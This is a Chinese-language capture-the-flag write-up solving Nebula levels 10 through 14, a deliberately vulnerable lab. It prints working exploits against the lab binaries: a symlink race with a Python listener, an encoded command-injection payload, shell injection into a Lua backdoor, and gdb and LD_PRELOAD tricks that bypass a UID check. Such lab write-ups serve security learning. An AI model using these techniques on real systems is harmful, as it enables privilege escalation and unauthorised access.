Exploit Exercises Nebula level10-14 Writeup

Nebula level10

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

具有SetUID功能的二进制文件flag10在满足access()系统调用的条件下可以上传任何给定文件。

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
    exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
    int fd;
    int ffd;
    int rc;
    struct sockaddr_in sin;
    char buffer[4096];

    printf("Connecting to %s:18211 .. ", host); fflush(stdout);

    fd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&sin, 0, sizeof(struct sockaddr_in));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(host);
    sin.sin_port = htons(18211);

    if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
      printf("Unable to connect to host %s\n", host);
      exit(EXIT_FAILURE);
    }

#define HITHERE ".oO Oo.\n"
    if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
      printf("Unable to write banner to host %s\n", host);
      exit(EXIT_FAILURE);
    }
#undef HITHERE

    printf("Connected!\nSending file .. "); fflush(stdout);

    ffd = open(file, O_RDONLY);
    if(ffd == -1) {
      printf("Damn. Unable to open file\n");
      exit(EXIT_FAILURE);
    }

    rc = read(ffd, buffer, sizeof(buffer));
    if(rc == -1) {
      printf("Unable to read from file: %s\n", strerror(errno));
      exit(EXIT_FAILURE);
    }

    write(fd, buffer, rc);

    printf("wrote file!\n");

  } else {
    printf("You don't have access to %s\n", file);
  }
}

看到这长长一段C代码……眼前出现“蛋疼”2字,不过题还是要做的,不打小怪兽,怎么当奥特曼?

程序逻辑还是很简单,两个参数,第一个是文件路径,第二个是主机ip。程序通过access验证给定路径的文件是否有读取权限,如果有则对指定ip主机的18211端口发送一个HITHERE的字符串(话说上次给Github的大神写邮件人家也是那么打招呼的……),如果发送成功,就读取文件内容之后发送。

flag10的home目录下有flag10程序和token文件,token对level10没有读取权限。看来又是要绕开权限去读取token的内容。但是应该如何做呢?在翻看了access()的man手册后发现那么一句话:

Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided.

access()验证权限是有风险的,因为在你验证文件和真正open文件的间隙,文件很可能会被利用!

这个Warning绝对是个完美的Tip,顺顺思路:建立一个假的token文件(有权限读的),然后创建一个软连接指向这个文件。通过验证后利用短暂的间隙,把软连接指向真正的token,这样就狸猫换太子了~

有了思路,如何实现呢?nc可以创建监听,但是没法在nc的途中快速修改软连接指向(毕竟nc是独占的,无法返回)。于是想到了python。which python一下,果然装了python,再python -V,发现python版本2.7.2。直接vim写下python代码(server.py):

#! /usr/bin/python
import os
from socket import *

HOST = ''
PORT = 18211
BUFSIZ = 4096
ADDR = (HOST, PORT)

tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
    print 'waiting for connection...'
    tcpCliSock, addr = tcpSerSock.accept()
    print 'connected!'

    while True:
        data = tcpCliSock.recv(BUFSIZ)
        if not data:
            break
        if data == '.oO Oo.\n':
            print 'get it baby!'
            os.system('ln -fs /home/flag10/token /home/level10/token')
    tcpCliSock.close()
tcpSerSock.close()

退出后使用python server.py让脚本跑起来。这里需要注意的是,对于软连接使用了-f参数,这样可以强制覆盖已经存在的同名软连接文件。之后Ctrl+Alt+F2切换到TTY2,在level10家目录下执行:

touch fake_token
ln -s fake_token token

这样文件就伪造好了,然后执行flag10:

/home/flag10/flag10 ~/token 127.0.0.1

完毕后Ctrl+Alt+F1切回TTY1看结果,615a2ce1-b2b5-4c76-8eed-8aa5c4015c27,用这个作为密码登陆flag10并getflag即可。

这里需要留意的是,因为CPU的执行方式是时间片,因此每个进程只有在自己的CPU时间内才能执行相应的指令,也正是因为这个原因,指令的执行之间才有了等待,并有了其他程序执行的可能性。很可能当CPU执行速度过快的时候,你的py程序还没来得及修改软连接,flag10就已经执行到最后了,因此无法读取到正确的token。这时你可以多试验几次,或者想办法降低flag10的优先级(nice可以修改进程优先级),提高py脚本的优先级,以确保py脚本可以替换掉软连接。

Nebula level11

The /home/flag11/flag11 binary processes standard input and executes a shell command.

There are two ways of completing this level, you may wish to do both :-)

flag11会处理标准输入,同时执行一个shell命令。本关有两种方法。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 
    'A' + (random() % 26), '0' + (random() % 10), 
    'a' + (random() % 26), 'A' + (random() % 26),
    '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
    errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
    errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
      err(1, "fread length");
    }
    process(buf, length);
  } else {
    int blue = length;
    int pink;

    fd = getrand(&path);

    while(blue > 0) {
      printf("blue = %d, length = %d, ", blue, length);

      pink = fread(buf, 1, sizeof(buf), stdin);
      printf("pink = %d\n", pink);

      if(pink <= 0) {
        err(1, "fread fail(blue = %d, length = %d)", blue, length);
      }
      write(fd, buf, pink);

      blue -= pink;
    }  

    mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
    if(mem == MAP_FAILED) {
      err(1, "mmap");
    }
    process(mem, length);
  }

}

这题是整个Nebula中最纠结的一题之一,最主要原因是因为代码和二进制程序不符……我查阅了Google中前几页基本所有的Nebula level11的解题思路,发现能作出结果的代码都是Nebula的新LiveCD之前的。所以这里,我们先回到原本的程序。先将上面的代码用root编译,命名成flag11_old,并修改文件权限、所有者、所有组等和flag11一致,然后开始下面的步骤。

首先映入眼帘的是比前面一次更长的代码-_-||| 不过好在代码逻辑还是比较清晰的。这里既然要执行shell,就会定位到system(),而这样就必须要调用process()。可以看到调用发生在main()的第三个if中。所谓的两种方法可能是指走不同的逻辑去执行process()

观察一下走if为true的这条线:

if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
        err(1, "fread length");
    }
    process(buf, length);
}

第一个条件length < sizeof(buf)很简单,可是,fread()只会返回0或1,也就是说我们要执行的指令只能是1个字节的。但回车也会占用1个字节,我们可以做个试验:

level11@nebula:/home/flag11$ ./flag11_old
Content-Length: 1

sh: $'\v\020\367': command not found
level11@nebula:/home/flag11$ ./flag11_old
Content-Length: 1

sh: $'\vP\241': command not found

可以看到,这样对于获取到了buf的内容完全是随机的。如果我们输入一个单字符命令,比如X,根据process()中的代码,命令X会变为Y,之后进入system()执行。测试一下:

level11@nebula:/home/flag11$ ./flag11_old
Content-Length: 1
X
sh: $'Y\020\321': command not found

可以看到X命令被当做Y命令执行,但由于已经占用了一个字符,则没有办法输入回车。这里可以用一个拼运气的办法,不断测试,直到碰到内存中有0x0A(回车)从而获得运行:

level11@nebula:/tmp$ ln -s /bin/getflag Y
level11@nebula:/tmp$ export PATH=/tmp:$PATH
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nX" | /home/flag11/flag11_old
sh: $'Y\240S': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nX" | /home/flag11/flag11_old
sh: $'Y\340d': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nX" | /home/flag11/flag11_old
sh: $'Y\200b': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nX" | /home/flag11/flag11_old
You have successfully executed getflag on a target account

运气不错,没试几次就得到了结果:D

第二种方法就是走if的另外一条路,那需要满足length >= sizeof(buf),也就是Length>=1024。可以先创建一个1024长度的空内容,之后把需要执行的命令填充进去:

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
    int length = 1024;
    char buffer[1024] = {0};
    unsigned int key;
    int i;

    memcpy(buffer, "/bin/getflag", 13);

    key = length & 0xff;
    for(i = 0; i < length; i++) {
        buffer[i] ^= key;
        key -= buffer[i] ^ key;
    }

    puts("Content-Length: 1024");
    fwrite(buffer, 1, length, stdout);

    return 0;
}

根据getrand()中的要求,设置一下环境变量:

export TEMP=/tmp

编译并执行程序:

level11@nebula:~$ gcc -o exp11 exp11.c
level11@nebula:~$ ./exp11 | ~flag11/flag11_old
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

这样两种方法就实现了。

最后说一说为什么新的文件不能成功运行程序。反汇编一下flag11:

   0x080489c7 <+0>:     push   %ebp
   0x080489c8 <+1>:     mov    %esp,%ebp
   0x080489ca <+3>:     sub    $0x28,%esp
   0x080489cd <+6>:     mov    0xc(%ebp),%eax
   0x080489d0 <+9>:     and    $0xff,%eax
   0x080489d5 <+14>:    mov    %eax,-0x10(%ebp)
   0x080489d8 <+17>:    movl   $0x0,-0xc(%ebp)
   0x080489df <+24>:    jmp    0x8048a0c <process+69>
   0x080489e1 <+26>:    mov    -0xc(%ebp),%eax
   0x080489e4 <+29>:    add    0x8(%ebp),%eax
   0x080489e7 <+32>:    mov    -0xc(%ebp),%edx
   0x080489ea <+35>:    add    0x8(%ebp),%edx
   0x080489ed <+38>:    movzbl (%edx),%edx
   0x080489f0 <+41>:    mov    %edx,%ecx
   0x080489f2 <+43>:    mov    -0x10(%ebp),%edx
   0x080489f5 <+46>:    xor    %ecx,%edx
   0x080489f7 <+48>:    mov    %dl,(%eax)
   0x080489f9 <+50>:    mov    -0xc(%ebp),%eax
   0x080489fc <+53>:    add    0x8(%ebp),%eax
   0x080489ff <+56>:    movzbl (%eax),%eax
   0x08048a02 <+59>:    movsbl %al,%eax
   0x08048a05 <+62>:    sub    %eax,-0x10(%ebp)
   0x08048a08 <+65>:    addl   $0x1,-0xc(%ebp)
   0x08048a0c <+69>:    mov    -0xc(%ebp),%eax
   0x08048a0f <+72>:    cmp    0xc(%ebp),%eax
   0x08048a12 <+75>:    jl     0x80489e1 <process+26>
   0x08048a14 <+77>:    call   0x8048700 <getgid@plt>
   0x08048a19 <+82>:    mov    %eax,(%esp)
   0x08048a1c <+85>:    call   0x8048690 <setgid@plt>
   0x08048a21 <+90>:    call   0x8048630 <getuid@plt>
   0x08048a26 <+95>:    mov    %eax,(%esp)
   0x08048a29 <+98>:    call   0x8048730 <setuid@plt>
   0x08048a2e <+103>:   mov    0x8(%ebp),%eax
   0x08048a31 <+106>:   mov    %eax,(%esp)
   0x08048a34 <+109>:   call   0x80486a0 <system@plt>
   0x08048a39 <+114>:   leave  
   0x08048a3a <+115>:   ret  

上面是flag11中process()完整的反汇编代码。可以看到0x08048a14开始有setgid()setuid()的操作。这段反汇编如果翻译到C语言是这样的:

void process(char *buffer, int length)
{
  ...

  setgid(getgid());
  setuid(getuid());

  system(buffer);
}

加入这两句之后,程序在执行system()之前会强制还原uid和gid,因此程序本身的setuid权限失效,程序执行者永远是level11,而不是flag11,所以就不可能成功了。我这里也试验了用LD_PRELOAD的办法Hack掉getuid()getpid(),但是很可惜方法无效,因为没有权限。

Nebula level12

There is a backdoor process listening on port 50001.

50001端口有个后门进程。

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password) 
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
    print("trying " .. line) -- log from where ;\
    local h = hash(line)

    if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
      client:send("Better luck next time\n");
    else
      client:send("Congrats, your token is 413**CARRIER LOST**\n")
    end

  end

  client:close()
end

一段Lua脚本,逻辑简单清晰。脚本语言的好处就是你不懂语法,也能猜出个大概。

这段脚本监听50001端口,并需要连接后提交密码。显然我们最关心的是能不能运行shell脚本,因此定位到hash()中的popen()

直接截断看看可不可以:

level12@nebula:~$ nc 127.0.0.1 50001
Password: ;/bin/getflag > /tmp/flag12.txt
Better luck next time
level12@nebula:~$ cat /tmp/flag12.txt 
You have successfully executed getflag on a target account

得来全不费工夫!

Nebula level13

There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.

这是一个具有安全验证的程序,可以阻止非指定用户的执行。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
    printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
    printf("The system administrators will be notified of this violation\n");
    exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);

}

程序在运行时会检测用户的UID是否为1000(通过cat /etc/passwd | grep 1000发现uid=1000的用户为nebula)。

这里可以想办法通过干预getuid()的返回值来得到目的,因此可以采用GDB对返回值作出修改:

gdb ./flag13
...
(gdb) disas main

反汇编main函数后发现:

Dump of assembler code for function main:
...
   0x080484ef <+43>:    call   0x80483c0 <getuid@plt>
   0x080484f4 <+48>:    cmp    $0x3e8,%eax
...
---Type <return> to continue, or q <return> to quit---q

可以看到,此处调用getuid()之后会把返回值放到eax中,因此只要在0x080484f4处下断,让程序跑起来后修改eax为1000即可:

(gdb) b *0x080484f4
Breakpoint 1 at 0x80484f4
(gdb) r
Starting program: /home/flag13/flag13 

Breakpoint 1, 0x080484f4 in main ()
(gdb) p $eax
$1 = 1014
(gdb) set $eax=1000
(gdb) p $eax
$2 = 1000
(gdb) c
Continuing.
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
[Inferior 1 (process 15690) exited with code 063]

得到密码b705702b-76a8-42b0-8844-3adabbe5ac58

当然此题还有一种解法,就是劫持getuid()函数。

首先通过file发现flag13调用了共享库,接着创建一个C文件:

#include <unistd.h>
#include <sys/types.h>

uid_t getuid(void) {
    return 1000;
}

之后编译并通过LD_PRELOAD环境变量替换掉真实的getuid()函数:

gcc -fPIC -shared -o preload.so preload.c
export LD_PRELOAD=/home/level13/preload.so

之后通过strace来调用,即可观察到结果:

level13@nebula:~$ strace /home/flag13/flag13
...
write(1, "your token is b705702b-76a8-42b0"..., 51your token is b705702b-76a8-42b0-8844-3adabbe5ac58
) = 51
...

Nebula level14

This program resides in /home/flag14/flag14 . It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)

程序加密了输入并写入标准输出,加密的token文件和程序都在flag14的家目录中。

这题非常简单,破解加密算法,本来以为需要逆向,由于规律实在太简单,实验了几次就出来了:

level14@nebula:/home/flag14$ ./flag14
./flag14
    -e  Encrypt input
level14@nebula:/home/flag14$ ./flag14 -e
123456
13579;
level14@nebula:/home/flag14$ ./flag14 -e
654321
666666
level14@nebula:/home/flag14$ ./flag14 -e
11111111111111111111111111
123456789:;<=>?@ABCDEFGHIJ$^C

可以看到,如果把输入数据看成一个数组,加密数据相当于输入数据加上数据的下标(从0开始),于是写出算法:

plain = '123456'
encrypt = ''

for i in range(len(plain)):
    encrypt += chr(ord(plain[i:i+1]) + i)

print encrypt

因此可以写出逆运算并把token文件给解密:

token = open('/home/flag14/token')
encrypt = token.read()[:-1]
plain = ''

for i in range(len(encrypt)):
   plain += chr(ord(encrypt[i:i+1]) - i)

print plain

最后得到token:8457c118-887c-4e40-a5a6-33a25353165。